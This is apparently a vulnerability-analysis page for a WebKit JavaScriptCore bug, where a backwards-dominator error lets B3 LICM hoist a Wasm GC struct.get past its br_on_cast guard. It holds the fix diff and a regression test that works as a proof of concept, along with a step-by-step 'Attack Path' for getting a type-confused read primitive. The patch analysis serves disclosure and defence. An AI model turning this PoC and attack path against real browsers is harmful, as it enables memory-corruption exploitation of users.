Medium webkit Type Confusion 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionThis issue was addressed through improved state management.
ComponentJSC
Bug ClassType Confusion
Tracker317603
Fix commitdec21f1baf1f (webkit) +186/-6
CISA KEVNot listed
CreditedOpenAI Codex Security - Amy Burnett
Disclosed2026-09-14

Background

B3 / OMG
JSC’s low-level optimizing IR and its Wasm optimizing compiler. B3’s loop-invariant code motion (LICM) and other control-equivalence consumers rely on a correct post-dominator relation.
`BackwardsDominators`
the dominators of that reversed graph, i.e. post-dominators of the forward CFG. dominates(X, Y) means X post-dominates Y.
`m_rootSuccessorList` / `m_rootSuccessorSet`
the list/set of reverse-root successors; addRootSuccessor must add each qualifying node exactly once.
`worklist` (`GraphNodeWorklist`)
tracks which nodes have been seen while enumerating back-edge sources; saw(node) reports prior visitation.
Post-dominance and LICM
LICM may hoist a control-dependent operation out of a loop only if the loop body node post-dominates the loop entry. A spurious post-dominance lets a control-dependent read be hoisted above the guard that makes it safe.

Root Cause Analysis

In BackwardsGraph’s constructor, the reverse-root’s successor set is built in two passes: first every node with no forward successors (true terminals), then (in reverse node order) every remaining node, intending to add each back-edge source. The lambda addRootSuccessor must register a node once into both m_rootSuccessorList/m_rootSuccessorSet and seed the predecessor worklist. The buggy code coupled list/set insertion to worklist.push(node): it appended to the list and added to the set inside the if (worklist.push(node)) branch, and the second pass called addRootSuccessor unconditionally for every node. The result is that a node could be processed inconsistently — in particular a back-edge source that was already seen (e.g. reached as a predecessor during the first pass’s worklist expansion) could be skipped, dropping it from the reverse-root’s successors.

The patch decouples the two concerns and dedups by visitation. addRootSuccessor now adds to the list/set guarded by m_rootSuccessorSet.add(node) (set membership) independently of the worklist seeding, which is guarded separately by if (worklist.push(node)). The terminal pass gains ASSERT(!worklist.saw(node)), and the back-edge-source pass now only calls addRootSuccessor when !worklist.saw(node), so each qualifying node is added exactly once and none is dropped. B3Procedure::backwardsDominators() is additionally exported (JS_EXPORT_PRIVATE) so the new testBackwardsDominatorsWithMultipleBackEdges unit test can exercise it.

The security consequence is spelled out by that test and the Wasm regression backwards-graph-multi-backedge-licm.js: when a loop header has two latches and only one (success) also exits while the other (failure) is exit-less, dropping failure from the reverse-root’s successors makes the header reachable in the reverse CFG only through success, so success falsely post-dominates the header and the entry. That false post-dominance lets B3 LICM hoist a control-dependent struct.get above a br_on_cast guard, so the field load executes on a reference whose cast failed — reading another struct type’s layout. The advisory says “crash”; the diff shows a type-confusion-enabling miscompilation.

Key insight
BackwardsGraph could drop an exit-less back-edge source (latch) from the synthetic reverse-root’s successors because list/set insertion was tied to the worklist-push condition, yielding a false post-dominance that let LICM hoist a control-dependent read above its br_on_cast type guard.

Attack Path

  1. Craft the loop shape Attacker builds a Wasm GC function with a loop whose header has two latches: one that can exit and one exit-less, with a br_on_cast guarding a struct.get that is control-dependent on the cast succeeding (as in the committed test).
  2. Tier to OMG Force OMG compilation (thresholds set in the test) so B3 computes backwards dominators and runs LICM.
  3. Trigger the dropped latch The multi-back-edge shape causes the exit-less latch to be omitted from the reverse-root’s successors, so the post-dominator computation falsely concludes the guarded block post-dominates the header/entry.
  4. Hoist past the guard LICM hoists the control-dependent struct.get out of the loop, above the br_on_cast, so it runs even when the cast would have failed.
  5. Primitive Call with a wrongly-typed object (makeSmall() where $probe is expected): the hoisted struct.get $probe reads fields of a $small struct as (ref $sink) pointers — a Wasm GC type confusion yielding an out-of-bounds / mistyped read of chosen bits (fake-reference / info-leak; further escalation inferred).

Impact Assessment

Reachable from unprivileged web content via WebAssembly once the function tiers up to OMG/B3. The diff substantiates a post-dominator miscomputation that enables LICM to hoist a control-dependent read above its br_on_cast type guard, producing a Wasm GC type confusion (reading one struct type’s fields from an object of another type). That is materially stronger than the advisory’s “unexpected Safari crash”: it is a mistyped/out-of-bounds read of attacker-influenceable pointer-typed fields (info leak / fake reference). Full R/W escalation is inferred, not proven by the diff; the regression tests demonstrate the unsafe hoist and the type-confused read.

Files Changed

  • JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
  • Source/JavaScriptCore/b3/B3Procedure.h
  • Source/JavaScriptCore/b3/testb3.h
  • Source/JavaScriptCore/b3/testb3_1.cpp
  • Source/JavaScriptCore/b3/testb3_7.cpp
  • Source/WTF/wtf/BackwardsGraph.h

Audit Directions

  • Reverse-root successor completeness
    Audit any other BackwardsGraph/post-dominator consumers for assumptions that all terminals and back-edge sources are present, and for similar list/set-vs-worklist coupling bugs in graph builders.
  • LICM / control-equivalence hoisting
    Review B3 LICM and other transforms that move control-dependent memory operations, confirming they require genuine post-dominance and cannot hoist loads past type/bounds guards like br_on_cast/ref.cast.
  • Multi-latch loops in Wasm
    Look for other Wasm GC patterns (multiple latches, exit-less inner loops) that stress the backwards-dominator computation, validating under OMG with watchdog-bounded tests.
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 861f61de2532..bcb61b972f2a 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -196,7 +196,7 @@ public:
     Dominators& dominators();
     JS_EXPORT_PRIVATE NaturalLoops& naturalLoops();
     BackwardsCFG& backwardsCFG();
-    BackwardsDominators& backwardsDominators();
+    JS_EXPORT_PRIVATE BackwardsDominators& backwardsDominators();
 
     void addFastConstant(const ValueKey&);
     bool isFastConstant(const ValueKey&);
diff --git a/Source/WTF/wtf/BackwardsGraph.h b/Source/WTF/wtf/BackwardsGraph.h
index 038ac78dddff..d6b09ea7af61 100644
--- a/Source/WTF/wtf/BackwardsGraph.h
+++ b/Source/WTF/wtf/BackwardsGraph.h
@@ -50,9 +50,9 @@ public:
         GraphNodeWorklist<typename Graph::Node, typename Graph::Set> worklist;
 
         auto addRootSuccessor = [&] (typename Graph::Node node) {
-            if (worklist.push(node)) {
+            if (m_rootSuccessorSet.add(node))
                 m_rootSuccessorList.append(node);
-                m_rootSuccessorSet.add(node);
+            if (worklist.push(node)) {
                 while (typename Graph::Node node = worklist.pop())
                     worklist.pushAll(graph.predecessors(node));
             }
@@ -77,8 +77,10 @@ public:
 
         for (unsigned i = 0; i < graph.numNodes(); ++i) {
             if (typename Graph::Node node = graph.node(i)) {
-                if (!graph.successors(node).size())
+                if (!graph.successors(node).size()) {
+                    ASSERT(!worklist.saw(node));
                     addRootSuccessor(node);
+                }
             }
         }
 
@@ -88,8 +90,10 @@ public:
         // edges. That would require thinking, so we just use a rough heuristic: add the highest
         // numbered nodes first, which is totally fine if the input program is already sorted nicely.
         for (unsigned i = graph.numNodes(); i--;) {
-            if (typename Graph::Node node = graph.node(i))
-                addRootSuccessor(node);
+            if (typename Graph::Node node = graph.node(i)) {
+                if (!worklist.saw(node))
+                    addRootSuccessor(node);
+            }
         }
     }
 
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+  (type $sink (struct (field i64)))
+  (type $probe
+    (struct
+      (field i64)
+      (field (ref $sink))
+      (field (ref $sink))
+      (field (ref $sink))))
+  (type $small
+    (struct
+      (field i64)
+      (field i64)
+      (field i64)
+      (field i64)))
+  (global $keep (mut i32) (i32.const 0))
+
+  (func (export "makeSink") (param $value i64) (result (ref $sink))
+    (struct.new $sink (local.get $value)))
+
+  (func (export "makeProbe")
+    (param $value i64)
+    (param $sink (ref $sink))
+    (result (ref $probe))
+    (struct.new $probe
+      (local.get $value)
+      (local.get $sink)
+      (local.get $sink)
+      (local.get $sink)))
+
+  (func (export "makeSmall") (result (ref $small))
+    (struct.new $small
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)))
+
+  (func (export "readAfterCast")
+    (param $source anyref)
+    (param $valid (ref $sink))
+    (param $bit i64)
+    (param $forceBit i32)
+    (param $useLoaded i32)
+    (param $lateLoop i32)
+    (result i64)
+    (local $probeLocal (ref $probe))
+    (loop $loop (result i64)
+      (block $castSucceeded (result (ref $probe))
+        (br_on_cast $castSucceeded
+          (ref null any)
+          (ref $probe)
+          (local.get $source))
+        (global.set $keep (i32.const 1))
+        (br $loop))
+      (local.set $probeLocal)
+
+      (struct.get $probe 2 (local.get $probeLocal))
+      (struct.get $probe 3 (local.get $probeLocal))
+      (struct.get $probe 2 (local.get $probeLocal))
+      (local.get $valid)
+      (struct.get $probe 1 (local.get $probeLocal))
+      (struct.get $sink 0)
+      (local.get $bit)
+      i64.shr_u
+      i32.wrap_i64
+      i32.const 1
+      i32.and
+      (local.get $forceBit)
+      (local.get $useLoaded)
+      (select (result i32))
+      i32.eqz
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      i64.const 1
+      i64.and
+      i32.wrap_i64
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+    new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+    readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+    $.agent.sleep(10); // 10 ms
+    quit();
+`);
+
+try {
+    readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+    throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+    throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index c334bb570c67..151f2f0ff76b 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1260,6 +1260,7 @@ void testShuffleDoesntTrashCalleeSaves();
 void testDemotePatchpointTerminal();
 void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
 void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
 void testDivImmArgFloat(float, float);
 void testDivImmsFloat(float, float);
 void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index 1654704b6618..ae86b114fe0b 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -880,6 +880,7 @@ void run(const TestConfig* config)
     RUN(testLoopWithMultipleHeaderEdges());
 
     RUN(testInfiniteLoopDoesntCauseBadHoisting());
+    RUN(testBackwardsDominatorsWithMultipleBackEdges());
 
     RUN(testFloatMaxMin());
     RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index 19780d6c4404..cb3216729a85 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
 
 #include "config.h"
 #include "testb3.h"
+#include "B3BackwardsDominators.h"
 #include <wtf/WasmSIMD128.h>
 
 WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -1678,6 +1679,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
     invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
 }
 
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+    // A loop whose header has two latches (back-edge sources), where only one
+    // of them also exits the loop:
+    //
+    //   root    --> header
+    //   header  --> success | failure          (branch)
+    //   success --> header (back edge) | exit   (branch)   // latch that can exit
+    //   failure --> header (back edge)                     // latch with no exit
+    //   exit    --> Return                                 // the only terminal
+    //
+    // `success` and `failure` are both back-edge sources. The `failure` latch
+    // has no exit of its own, so control that keeps taking it loops forever.
+    // BackwardsGraph treats that as a form of terminality: it computes
+    // post-dominators by reversing the CFG and giving the synthetic reverse
+    // root a successor for every terminal and every back-edge source.
+    //
+    // The property B3 LICM (and the control-equivalence consumers) rely on is
+    // the post-dominator relation: `success` must NOT post-dominate the header
+    // or the loop entry, because control can stay in the loop forever via the
+    // exit-less `failure` latch without ever reaching `success`. If `failure`
+    // is missing from the reverse root's successors, the header is reachable in
+    // the reverse CFG only through `success`, so `success` falsely
+    // post-dominates the header (and `root`) -- the false relationship that
+    // would let LICM hoist a control-dependent read out of the loop.
+    Procedure proc;
+    BasicBlock* root = proc.addBlock();
+    BasicBlock* header = proc.addBlock();
+    BasicBlock* success = proc.addBlock();
+    BasicBlock* failure = proc.addBlock();
+    BasicBlock* exit = proc.addBlock();
+    auto arguments = cCallArgumentValues<intptr_t>(proc, root);
+    Value* arg = arguments[0];
+
+    root->appendNewControlValue(proc, Jump, Origin(), header);
+    header->appendNewControlValue(
+        proc, Branch, Origin(),
+        header->appendNew<Value>(proc, Equal, Origin(), arg,
+            header->appendNew<ConstPtrValue>(proc, Origin(), 10)),
+        success, failure);
+    success->appendNewControlValue(
+        proc, Branch, Origin(),
+        success->appendNew<Value>(proc, Equal, Origin(), arg,
+            success->appendNew<ConstPtrValue>(proc, Origin(), 20)),
+        header, exit);
+    failure->appendNewControlValue(proc, Jump, Origin(), header);
+    exit->appendNewControlValue(proc, Return, Origin());
+
+    proc.resetReachability();
+
+    BackwardsDominators& backwardsDominators = proc.backwardsDominators();
+
+    // Sanity: `header` genuinely post-dominates the entry (root's only successor
+    // is header), so the checks below are not vacuously true.
+    CHECK(backwardsDominators.dominates(header, root));
+
+    // The actual property: `success` must not post-dominate the header or the
+    // loop entry, because the exit-less `failure` latch is an escape that
+    // bypasses `success`. A dropped `failure` back-edge source makes both of
+    // these falsely true.
+    CHECK(!backwardsDominators.dominates(success, header));
+    CHECK(!backwardsDominators.dominates(success, root));
+}
+
 static void testSimpleTuplePair(unsigned first, int64_t second)
 {
     Procedure proc;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+  (type $sink (struct (field i64)))
+  (type $probe
+    (struct
+      (field i64)
+      (field (ref $sink))
+      (field (ref $sink))
+      (field (ref $sink))))
+  (type $small
+    (struct
+      (field i64)
+      (field i64)
+      (field i64)
+      (field i64)))
+  (global $keep (mut i32) (i32.const 0))
+
+  (func (export "makeSink") (param $value i64) (result (ref $sink))
+    (struct.new $sink (local.get $value)))
+
+  (func (export "makeProbe")
+    (param $value i64)
+    (param $sink (ref $sink))
+    (result (ref $probe))
+    (struct.new $probe
+      (local.get $value)
+      (local.get $sink)
+      (local.get $sink)
+      (local.get $sink)))
+
+  (func (export "makeSmall") (result (ref $small))
+    (struct.new $small
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)
+      (i64.const 0)))
+
+  (func (export "readAfterCast")
+    (param $source anyref)
+    (param $valid (ref $sink))
+    (param $bit i64)
+    (param $forceBit i32)
+    (param $useLoaded i32)
+    (param $lateLoop i32)
+    (result i64)
+    (local $probeLocal (ref $probe))
+    (loop $loop (result i64)
+      (block $castSucceeded (result (ref $probe))
+        (br_on_cast $castSucceeded
+          (ref null any)
+          (ref $probe)
+          (local.get $source))
+        (global.set $keep (i32.const 1))
+        (br $loop))
+      (local.set $probeLocal)
+
+      (struct.get $probe 2 (local.get $probeLocal))
+      (struct.get $probe 3 (local.get $probeLocal))
+      (struct.get $probe 2 (local.get $probeLocal))
+      (local.get $valid)
+      (struct.get $probe 1 (local.get $probeLocal))
+      (struct.get $sink 0)
+      (local.get $bit)
+      i64.shr_u
+      i32.wrap_i64
+      i32.const 1
+      i32.and
+      (local.get $forceBit)
+      (local.get $useLoaded)
+      (select (result i32))
+      i32.eqz
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      i64.const 1
+      i64.and
+      i32.wrap_i64
+      (select (result (ref $sink)))
+      (struct.get $sink 0)
+      (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+    new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+    readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+    $.agent.sleep(10); // 10 ms
+    quit();
+`);
+
+try {
+    readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+    throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+    throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index c334bb570c67..151f2f0ff76b 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1260,6 +1260,7 @@ void testShuffleDoesntTrashCalleeSaves();
 void testDemotePatchpointTerminal();
 void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
 void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
 void testDivImmArgFloat(float, float);
 void testDivImmsFloat(float, float);
 void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index 1654704b6618..ae86b114fe0b 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -880,6 +880,7 @@ void run(const TestConfig* config)
     RUN(testLoopWithMultipleHeaderEdges());
 
     RUN(testInfiniteLoopDoesntCauseBadHoisting());
+    RUN(testBackwardsDominatorsWithMultipleBackEdges());
 
     RUN(testFloatMaxMin());
     RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index 19780d6c4404..cb3216729a85 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
 
 #include "config.h"
 #include "testb3.h"
+#include "B3BackwardsDominators.h"
 #include <wtf/WasmSIMD128.h>
 
 WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -1678,6 +1679,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
     invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
 }
 
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+    // A loop whose header has two latches (back-edge sources), where only one
+    // of them also exits the loop:
+    //
+    //   root    --> header
+    //   header  --> success | failure          (branch)
+    //   success --> header (back edge) | exit   (branch)   // latch that can exit
+    //   failure --> header (back edge)                     // latch with no exit
+    //   exit    --> Return                                 // the only terminal
+    //
+    // `success` and `failure` are both back-edge sources. The `failure` latch
+    // has no exit of its own, so control that keeps taking it loops forever.
+    // BackwardsGraph treats that as a form of terminality: it computes
+    // post-dominators by reversing the CFG and giving the synthetic reverse
+    // root a successor for every terminal and every back-edge source.
+    //
+    // The property B3 LICM (and the control-equivalence consumers) rely on is
+    // the post-dominator relation: `success` must NOT post-dominate the header
+    // or the loop entry, because control can stay in the loop forever via the
+    // exit-less `failure` latch without ever reaching `success`. If `failure`
+    // is missing from the reverse root's successors, the header is reachable in
+    // the reverse CFG only through `success`, so `success` falsely
+    // post-dominates the header (and `root`) -- the false relationship that
+    // would let LICM hoist a control-dependent read out of the loop.
+    Procedure proc;
+    BasicBlock* root = proc.addBlock();
+    BasicBlock* header = proc.addBlock();
+    BasicBlock* success = proc.addBlock();
+    BasicBlock* failure = proc.addBlock();
+    BasicBlock* exit = proc.addBlock();
+    auto arguments = cCallArgumentValues<intptr_t>(proc, root);
+    Value* arg = arguments[0];
+
+    root->appendNewControlValue(proc, Jump, Origin(), header);
+    header->appendNewControlValue(
+        proc, Branch, Origin(),
+        header->appendNew<Value>(proc, Equal, Origin(), arg,
+            header->appendNew<ConstPtrValue>(proc, Origin(), 10)),
+        success, failure);
+    success->appendNewControlValue(
+        proc, Branch, Origin(),
+        success->appendNew<Value>(proc, Equal, Origin(), arg,
+            success->appendNew<ConstPtrValue>(proc, Origin(), 20)),
+        header, exit);
+    failure->appendNewControlValue(proc, Jump, Origin(), header);
+    exit->appendNewControlValue(proc, Return, Origin());
+
+    proc.resetReachability();
+
+    BackwardsDominators& backwardsDominators = proc.backwardsDominators();
+
+    // Sanity: `header` genuinely post-dominates the entry (root's only successor
+    // is header), so the checks below are not vacuously true.
+    CHECK(backwardsDominators.dominates(header, root));
+
+    // The actual property: `success` must not post-dominate the header or the
+    // loop entry, because the exit-less `failure` latch is an escape that
+    // bypasses `success`. A dropped `failure` back-edge source makes both of
+    // these falsely true.
+    CHECK(!backwardsDominators.dominates(success, header));
+    CHECK(!backwardsDominators.dominates(success, root));
+}
+
 static void testSimpleTuplePair(unsigned first, int64_t second)
 {
     Procedure proc;
Loading diff…